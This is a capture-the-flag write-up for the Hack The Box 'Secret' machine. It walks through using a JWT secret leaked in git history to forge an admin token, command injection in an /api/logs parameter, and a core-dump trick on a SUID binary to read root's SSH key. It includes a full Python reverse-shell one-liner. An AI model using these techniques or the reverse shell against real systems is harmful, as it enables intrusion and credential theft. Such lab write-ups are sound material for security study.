7 min readMar 26, 2022


Hello everyone, in this post I will be sharing my write up for HTB-Secret, which was an easy rated linux box, starting off with nmap scan we saw 3 ports 22,80 and 3000 both http ports were hosting the same docs page which was showing how to interact with the api to register a user and get a JWT token, from the docs we can also download an archive which was having the source code of how api works and what other end points are there, since this was a git repo (as it was having .git directory in it) we found JWT secret by looking at the commits made in this repo, with that we can modify the JWT token we got after logging and change the username to theadmin which was the admin user and then navigating to /api/logs it was running exec function which was calling git log command and was vulnerable to command injection, after getting the user shell we can see a SUID binary named count that was taking the file name as input, and by looking at it’s source code , coredump generation was enabled meaning that the crash logs are going to be saved when this binary will be crashed, so causing a crash with SIGABRT the crash log was saved in /var/crash further the log can be read with apport-unpack reading what ever the file was provided before the crash.


22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: DUMB Docs
3000/tcp open http syn-ack ttl 63 Node.js (Express middleware)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: DUMB Docs
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

PORT 80/3000 (HTTP)

On both http ports we can see a similar page of DUMB Docs

We can navigate to sections which tells us that it’s an API based authentication system where it shows the procedure on how to register a user using POSTrequests

Running gobuster we can see some files in /api directory

We can download the zip archive from here

And this archive contains a git repository so we can check for commits using git log

This commit has a JWT secret here so to look into this commit we can use the command git show 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78

Let’s first try to register a user , now I tried using burpsuite and the issue was that when I was sending the POST request in order to register a user , it wasn't working

Instead I installed Postman which is used for testing api calls

With this I was able to make a POST request to register a user as this returned as the username which means that we were successful in creating a user. We can login by making a POST request with email and password which in return will give us a JWT token

From the docs it says if we make a GET request to /api/priv it will show us our privileges.

We can become the admin user since we already have found the JWT secret to modify the token but we need to see what username we need to set in order to become admin ,

In local=web/routes/private.js we can see that it's checking for username theadmin and if that exists in the token that we can become the admin user

So modify the token we have and change the username from arz101 to theadmin also add the JWT secret to verify the token


We can see another endpoint /api/logs

Which is going to make a GET request by taking a parameter named file and it's going to execute git command

So let’s try to give the parameter

So let’s to try to break the command by ;id and it see if we can get command execution

Perfect , now let’s get the reverse shell from here

python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",2222));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'

Stabilizing the shell with python3

Let’s check sudo -l if we can run something as the root user without any password

We can’t so let’s see if there’s anything running locally

Only port 27017 is interesting , on which mongodb is running, I checked for suid binaries if there were other than the normal ones and found /opt/count had a SUID bit on it

So I ran this binary and what it does is asks for a file name with the path and lists the total number of characters ,words and lines

We can also the source code for this binary which is in /opt/code.c

Privilege Escalation

Now we can’t overflow the binary , reason is that the array path is of 100 characters but the way it's storing a value is through scanf(%99s) which means that it's going to store 99 characters plus a null byte which prevents the bufferoverflow

But we see this prctl(PR_SET_DUMPABLE, 1) , which enables process to be dumped

In order to dump the process we need to crash the program and the way we can crash it is to forcefully kill the process id and do that we need to have 2 shells , first will run the binary till the point you give the path for the file and second will kill the process for that binary. I used -6 which is SIGABRT as I tried with 9 (SIGKILL) it wasn't showing the crash report in /var/crash and what I think is that because -9 would stop the execution of the binary whereas -6 will abort execution of binary.

We get the crash report file from /var/crash

To read the CoreDump file we need to use apport-unpack

Then just directly read the CoreDump file to get root's ssh key